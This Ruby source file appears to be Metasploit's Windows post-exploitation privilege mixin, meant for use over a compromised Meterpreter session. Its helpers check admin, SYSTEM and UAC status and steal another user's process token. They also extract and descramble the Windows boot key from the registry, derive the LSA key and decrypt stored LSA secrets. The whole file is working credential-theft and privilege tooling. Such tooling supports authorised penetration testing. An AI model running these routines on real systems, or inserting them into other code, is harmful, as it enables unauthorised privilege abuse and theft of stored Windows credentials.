# -*- coding: binary -*-

module Msf::Post::Windows::Priv
  include ::Msf::Post::Windows::Accounts
  include Msf::Post::Windows::Registry

  INTEGRITY_LEVEL_SID = {
      :low => 'S-1-16-4096',
      :medium => 'S-1-16-8192',
      :high => 'S-1-16-12288',
      :system => 'S-1-16-16384'
  }

  SYSTEM_SID = 'S-1-5-18'
  ADMINISTRATORS_SID = 'S-1-5-32-544'

  # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx
  # ConsentPromptBehaviorAdmin
  UAC_NO_PROMPT = 0
  UAC_PROMPT_CREDS_IF_SECURE_DESKTOP = 1
  UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP = 2
  UAC_PROMPT_CREDS = 3
  UAC_PROMPT_CONSENT = 4
  UAC_DEFAULT = 5

  def initialize(info = {})
    super(
      update_info(
        info,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_*
              stdapi_sys_process_*
              stdapi_registry_*
            ]
          }
        }
      )
    )
  end

  #
  # Returns true if user is admin and false if not.
  #
  def is_admin?
    if session_has_ext
      # Assume true if the OS doesn't expose this (Windows 2000)
      session.railgun.shell32.IsUserAnAdmin()["return"] rescue true
    else
      local_service_key = registry_enumkeys('HKU\S-1-5-19')
      if local_service_key
        return true
      else
        return false
      end
    end
  end

  # Steals the current user's token.
  # @see steal_token
  def steal_current_user_token
    steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
  end

  #
  # Steals a token for a user.
  # @param String computer_name Computer name.
  # @param String user_name To token to steal from. If not set, it will try to steal
  #                        the current user's token.
  # @return [boolean] TrueClass if successful, otherwise FalseClass.
  # @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
  #
  def steal_token(computer_name, user_name)
    pid = nil

    session.sys.process.processes.each do |p|
      if p['user'] == "#{computer_name}\\#{user_name}"
        pid = p['pid']
      end
    end

    unless pid
      vprint_error("No PID found for #{user_name}")
      return false
    end

    vprint_status("Stealing token from PID #{pid} for #{user_name}")

    begin
      session.sys.config.steal_token(pid)
    rescue Rex::Post::Meterpreter::RequestError => e
      # It could raise an exception even when the token is successfully stolen,
      # so we will just log the exception and move on.
      elog(e)
    end

    true
  end


  #
  # Returns true if in the administrator group
  #
  def is_in_admin_group?
    whoami = get_whoami

    if whoami.nil?
      print_error("Unable to identify admin group membership")
      return nil
    elsif whoami.include? ADMINISTRATORS_SID
      return true
    else
      return false
    end
  end

  #
  # Returns true if running as Local System
  #
  def is_system?
    if session_has_ext
      return session.sys.config.is_system?
    else
      results = registry_enumkeys('HKLM\SAM\SAM')
      if results
        return true
      else
        return false
      end
    end
  end

  #
  # Returns true if UAC is enabled
  #
  # Returns false if the session is running as system, if uac is disabled or
  # if running on a system that does not have UAC
  #
  def is_uac_enabled?
    uac = false
    winversion = session.sys.config.sysinfo['OS']

    if winversion =~ /Windows (Vista|7|8|2008|2012|10|2016|2019)/
      unless is_system?
        begin
          enable_lua = registry_getvaldata(
              'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
              'EnableLUA'
          )
          uac = (enable_lua == 1)
        rescue Rex::Post::Meterpreter::RequestError => e
          print_error("Error Checking if UAC is Enabled: #{e.class} #{e}")
        end
      end
    end
    return uac
  end

  #
  # Returns the UAC Level
  #
  # @see http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx
  # 2 - Always Notify, 5 - Default, 0 - Disabled
  #
  def get_uac_level
    begin
      uac_level = registry_getvaldata(
          'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
          'ConsentPromptBehaviorAdmin'
      )
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Error Checking UAC Level: #{e.class} #{e}")
    end

    if uac_level
      return uac_level
    else
      return nil
    end
  end

  #
  # Returns the Integrity Level
  #
  def get_integrity_level
    whoami = get_whoami

    if whoami.nil?
      print_error("Unable to identify integrity level")
      return nil
    else
      INTEGRITY_LEVEL_SID.each_pair do |k,sid|
        if whoami.include? sid
          return sid
        end
      end
    end
  end

  #
  # Returns true if in a high integrity, or system, service
  #
  def is_high_integrity?
    il = get_integrity_level
    (il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SID[:system])
  end

  #
  # Returns the output of whoami /groups
  #
  # Returns nil if Windows whoami is not available
  #
  def get_whoami
    whoami = cmd_exec('cmd.exe /c whoami /groups')

    if whoami.nil? or whoami.empty?
      return nil
    elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/
      return nil
    else
      return whoami
    end
  end

  #
  # Return true if the session has extended capabilities (ie meterpreter)
  #
  def session_has_ext
    begin
      return !!(session.railgun and session.sys.config)
    rescue NoMethodError
      return false
    end
  end

  #
  # Returns the unscrambled bootkey
  #
  def capture_boot_key
    bootkey = ""
    basekey = "System\\CurrentControlSet\\Control\\Lsa"

    %W{JD Skew1 GBG Data}.each do |k|
      begin
        ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
      rescue Rex::Post::Meterpreter::RequestError
      end

      return nil if not ok
      bootkey << [ok.query_class.to_i(16)].pack("V")
      ok.close
    end

    keybytes = bootkey.unpack("C*")
    descrambled = ""
    descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]

    0.upto(keybytes.length-1) do |x|
      descrambled << [keybytes[descrambler[x]]].pack("C")
    end

    return descrambled
  end

  #
  # Converts DES 56 to DES 64
  #
  def convert_des_56_to_64(kstr)
    des_odd_parity = [
      1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
      16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
      32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
      49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
      64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
      81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
      97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
      112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
      128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
      145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
      161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
      176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
      193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
      208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
      224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
      241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
    ]

    key = []
    str = kstr.unpack("C*")

    key[0] = str[0] >> 1
    key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
    key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
    key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
    key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
    key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
    key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
    key[7] = str[6] & 0x7F

    0.upto(7) do |i|
      key[i] = ( key[i] << 1)
      key[i] = des_odd_parity[key[i]]
    end
    return key.pack("C*")
  end

  #
  # Returns the LSA key upon input of the unscrambled bootkey
  #
  # @note This requires the session be running as SYSTEM
  #
  def capture_lsa_key(bootkey)
    vprint_status("Getting PolSecretEncryptionKey...")
    pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "")
    if pol
      print_status("XP or below system")
      @lsa_vista_style = false
      md5x = Digest::MD5.new()
      md5x << bootkey
      (1..1000).each do
        md5x << pol[60,16]
      end

      rc4 = OpenSSL::Cipher.new("rc4")
      rc4.decrypt
      rc4.key = md5x.digest
      lsa_key  = rc4.update(pol[12,48])
      lsa_key << rc4.final
      lsa_key = lsa_key[0x10..0x1F]
    else
      print_status("Vista or above system")
      @lsa_vista_style = true

      vprint_status("Trying 'V72' style...")
      vprint_status("Getting PolEKList...")
      pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")

      # If that didn't work, then we're out of luck
      return nil if pol.nil?

      lsa_key = decrypt_lsa_data(pol, bootkey)
      lsa_key = lsa_key[68,32]
    end

    vprint_good(lsa_key.unpack("H*")[0])
    return lsa_key
  end

  # Whether this system has Vista-style secret keys
  #
  # @return [Boolean] True if this session has keys in the PolEKList
  #   registry key, false otherwise.
  def lsa_vista_style?
    if @lsa_vista_style.nil?
      @lsa_vista_style = !!(registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", ""))
    end

    @lsa_vista_style
  end

  # Decrypts LSA encrypted data
  #
  # @param policy_secret [String] The encrypted data stored in the
  #   registry.
  # @param lsa_key [String] The key as returned by {#capture_lsa_key}
  # @return [String] The decrypted data
  def decrypt_lsa_data(policy_secret, lsa_key)

    sha256x = Digest::SHA256.new()
    sha256x << lsa_key
    1000.times do
      sha256x << policy_secret[28,32]
    end

    aes = OpenSSL::Cipher.new("aes-256-cbc")
    aes.decrypt
    aes.key = sha256x.digest

    vprint_status("digest #{sha256x.digest.unpack("H*")[0]}")

    decrypted_data = ''

    (60...policy_secret.length).step(16) do |i|
      aes.reset
      aes.padding = 0
      decrypted_data << aes.update(policy_secret[i,16])
    end

    return decrypted_data
  end

  # Decrypts "Secret" encrypted data
  #
  # Ruby implementation of SystemFunction005. The original python code
  # has been taken from Credump
  #
  # @param secret [String]
  # @param key [String]
  # @return [String] The decrypted data
  def decrypt_secret_data(secret, key)

    j = 0
    decrypted_data = ''

    for i in (0...secret.length).step(8)
      enc_block = secret[i..i+7]
      block_key = key[j..j+6]
      des_key = convert_des_56_to_64(block_key)
      d1 = OpenSSL::Cipher.new('des-ecb')
      d1.decrypt
      d1.padding = 0
      d1.key = des_key
      d1o = d1.update(enc_block)
      d1o << d1.final
      decrypted_data += d1o
      j += 7
      if (key[j..j+7].length < 7 )
        j = key[j..j+7].length
      end
    end
    dec_data_len = decrypted_data[0,4].unpack('<L').first

    return decrypted_data[8, dec_data_len]

  end

end
